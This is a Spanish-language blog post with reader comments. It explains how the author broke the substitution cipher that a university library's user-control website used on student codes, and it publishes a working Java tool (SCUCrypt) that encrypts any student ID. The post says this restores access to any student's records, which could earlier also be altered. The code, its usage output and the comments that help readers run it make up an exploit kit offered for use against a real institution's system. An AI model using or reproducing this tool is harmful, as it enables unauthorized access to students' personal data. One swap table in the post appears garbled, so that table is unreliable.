sábado, 9 de abril de 2011

Resuelto el cifrado del SCU

Hola de nuevo... quizá recordarán que a mitad del año pasado encontramos un error en la página web del SCU (Sistema de Control de Usuarios) de la biblioteca. Ese error permitía consultar y modificar los datos que saldrían impresos en el carné de biblioteca de cualquier alumno de la universidad (y como PoC le cambiamos de sexo a Salomón xD).

El error fue reportado y corregido semanas después. Pero la solución no me había convencido del todo ya que solo consistía en cifrar la variable que estaba dando problemas. Eso no resuelve la causa del error en sí pero dificulta algo más su explotación.

Desde entonces quedó propuesto el reto criptográfico del SCU. Si lográbamos averiguar como es que cifran el código de los alumnos podríamos continuar accediendo a la información de cualquiera de ellos. Hace poco nos pusimos a ello y lo conseguimos.

En este post explicaré superficialmente el análisis que nos llevó a resolver el cifrado del SCU.

Pues como sabrán los códigos de los alumnos constan de 8 dígitos que se pueden agrupar de la siguiente manera: los primeros 2 representan el año de ingreso, los siguientes 3 son el código de la facultad a la que pertenece y los últimos 3 se usan como número de orden correlativo.

Por otro lado los códigos cifrados constan de 16 dígitos, por ejemplo: "A55E33BE219A8420" que corresponde con "08200090". Además, en los caracteres usados, observamos números y letras como "A", "B" y "E". Lo que nos sugiere alguna representación en hexadecimal. Así que podemos hacer una correspondencia entre cada dígito del código con un par de dígitos del código cifrado. Sin embargo esa correspondencia varía con la posición, es decir, estamos hablando de algún tipo de cifrado por sustitución múltiple.

Otra observación interesante es que si agrupamos el código cifrado de a dos, el primer dígito de todos los pares nunca varía. Ejemplo:

08200090 --> A5 5E 33 BE 21 9A 84 21
07202013 --> A5 51 33 BE 23 9A 8C 22
06114132 --> A5 50 30 BF 25 9B 8E 23

Además, al parecer, cada par es independiente de los demás y debe tener su propia tabla de sustitución. Esto lo digo por que si se observa, el primer dígito "0" de los códigos de ejemplo siempre se representa por "A5" o también el tercer dígito "2" de los primeros dos códigos siempre se representa por "33".

Bien, sabiendo esto y que los últimos tres pares deben ser los que corresponden con el número de orden correlativo se me dio por probar sustituyendo el último dígito con valores del 0 a la F. Obtuve la siguiente tabla de sustitución:

DIGITO   CIFRADO
  0        21
  1        20
  2        23
  3        22
  4        25
  5        24
  6        27
  7        26
  8        29
  9        28

Es increíblemente simple. Solo hicieron un intercambio de posiciones dos a dos xD

Luego probé con el penúltimo dígito de la misma forma y obtuve esta tabla de sustitución:

DIGITO   CIFRADO
0        8D
1        8C
2        8F
3        8E
4        89
5        88
6        8B
7        8A
8        85
9        84

Aquí también se observa algún patrón de intercambio pero algo más complicado. Este se obtiene así:

0  1  ->  ->  5  D
0  ->  0  4  ->  4  C
2  3  ->  3  7  ->  7  F
2  ->  2  6  ->  6  E
4  5  ->  5  1  ->  1  9
4  ->  4  0  ->  0  8
6  7  ->  7  3  ->  3  B
6  ->  6  2  ->  2  A
->  9  D  ->  D  5
8  ->  8  C  ->  C  4
A  B  ->  B  E  ->  E  7
A  ->  A  F  ->  F  6
C  D  ->  D  9  ->  9  1
C  ->  C  8  ->  8  0
E  F  ->  F  B  ->  B  3
E  ->  E  A  ->  A  2

En este caso se hacen 3 intercambios. Primero se intercambia dos a dos cada dígito. Luego se agrupa de a cuatro y se intercambian dos a dos los grupos. Finalmente se agrupan de a ocho dígitos y se intercambia.

Bueno, creo que hasta ahora ya tenemos una idea bastante clara de lo que se está haciendo. Para cada dígito del código hay un número diferente de intercambios agrupando de diferentes formas y eso es todo.

Hay que decir también que cifrar haciendo intercambios dos a dos y agrupando por potencias de 2 provoca reflexión en el cifrado, es decir, si un dígito "X" se cifra como "Y", entonces "Y" se cifra como "X". Esta propiedad fue muy útil para recolectar mayor cantidad de datos.

El procedimiento, entonces, para los demás dígitos fue obtener algunas correspondencias, luego aplicar la reflexión para duplicar la información y por ultimo inferir qué intercambios y agrupamientos debieron hacerse para ese dígito.

Para terminar voy a dejar un script que programé en Java que calcula el cifrado de los códigos que se le pasa por parámetro.

public class SCUCrypt {

    private static final String[][] crack_table = {
        {"A5", "A4", "A7", "A6", "A1", "A0", "A3", "A2", "AD", "AC"},
        {"56", "57", "54", "55", "52", "53", "50", "51", "5E", "5F"},
        {"31", "30", "33", "32", "35", "34", "37", "36", "39", "38"},
        {"BE", "BF", "BC", "BD", "BA", "BB", "B8", "B9", "B6", "B7"},
        {"21", "20", "23", "22", "25", "24", "27", "26", "29", "28"},
        {"9A", "9B", "98", "99", "9E", "9F", "9C", "9D", "92", "93"},
        {"8D", "8C", "8F", "8E", "89", "88", "8B", "8A", "85", "84"},
        {"21", "20", "23", "22", "25", "24", "27", "26", "29", "28"}
    };

    public static String hashcode(String code) throws IllegalArgumentException {
        if (code.length() > 8) {
            throw new IllegalArgumentException();
        } else {
            String hashcode = "";
            for (int i = 0; i < code.length(); i++) {
                try {
                    int index = Integer.parseInt(code.substring(i, i + 1));
                    hashcode += crack_table[i][index];
                } catch (Exception e) {
                    throw new IllegalArgumentException();
                }
            }
            return hashcode;
        }
    }

    public static void main(String[] args) {
        if (args.length < 1) {
            System.out.println("SCUCrypt 1.0 ( http://alguienenlafisi.blogspot.com )");
            System.out.println("Autor: Alguien");
            System.out.println("Modo de uso: java SCUCrypt {codigo1 [codigo2 [codigo3 ...]]}");
            System.out.println("Ejemplo: java SCUCrypt 03200254");
            System.out.println("Enjoy! }:]");
        } else {
            for (String code : args) {
                try {
                    String hashcode = hashcode(code);
                    System.out.println("[+] " + code + " --> " + hashcode);
                } catch (Exception e) {
                    System.out.println("[-] ERROR. " + code + " no es un código valido.");
                }
            }
            System.out.println("[+] Terminado.");
        }
    }
}

Un saludo.

Actualización:

Les dejo una captura que muestra como compilar y usar el script.

Fig. 1 - Uso de SCUCrypt.

12 comentarios:

  1. Hola muy bueno, por donde ingreso el codigo

    ResponderEliminar
  2. Hola... quizá después de revisar estos post resuelvas tus dudas:

    http://alguienenlafisi.blogspot.com/2010/04/el-cambio-de-sexo-de-salomon.html

    http://alguienenlafisi.blogspot.com/2010/06/nueva-solucion-al-error-del-scu.html

    Un saludo.

    ResponderEliminar
  3. Hola me referia cuando queria compilar el programa lo compilo me sale solo un ejemplo, por donde ingreso los datos?, Saludos

    ResponderEliminar
  4. Ah vale... se compila así:

    $ javac SCUCrypt.java

    Y se ejecuta así:

    $ java SCUCrypt 08200325 09202425 10200111
    [+] 08200325 --> A55E33BE21998F24
    [+] 09202425 --> A55F33BE239E8F24
    [+] 10200111 --> A45633BE219B8C20
    [+] Terminado.

    He actualizado el post con una captura del modo de uso del script.

    Un saludo.

    ResponderEliminar
  5. xD gracias asi lo hize desde msdos de windows, lo intentare como mi ubuntu, Gracias

    ResponderEliminar
  6. Suerte... quizá me anime ha hacer un video xD

    Saludos...

    ResponderEliminar
  7. muy buen post Alguien..voy a empezar a seguir tus tutoriales

    ResponderEliminar
  8. Genial articulo, vengo siguiendo tu blog de tiempo.
    Necesito contactarme contigo... mandame tu correo en mi blog esta el mio y confirmarme porfa, gracias.

    ResponderEliminar
  9. Hola Dr. NeoX, ya te envié mi correo a "dr.neox@gmail.com"

    Un saludo y gracias por visitar el blog xD

    ResponderEliminar
  10. Muy bueno el script, no tendrás uno para desecriptarlo ?

    ResponderEliminar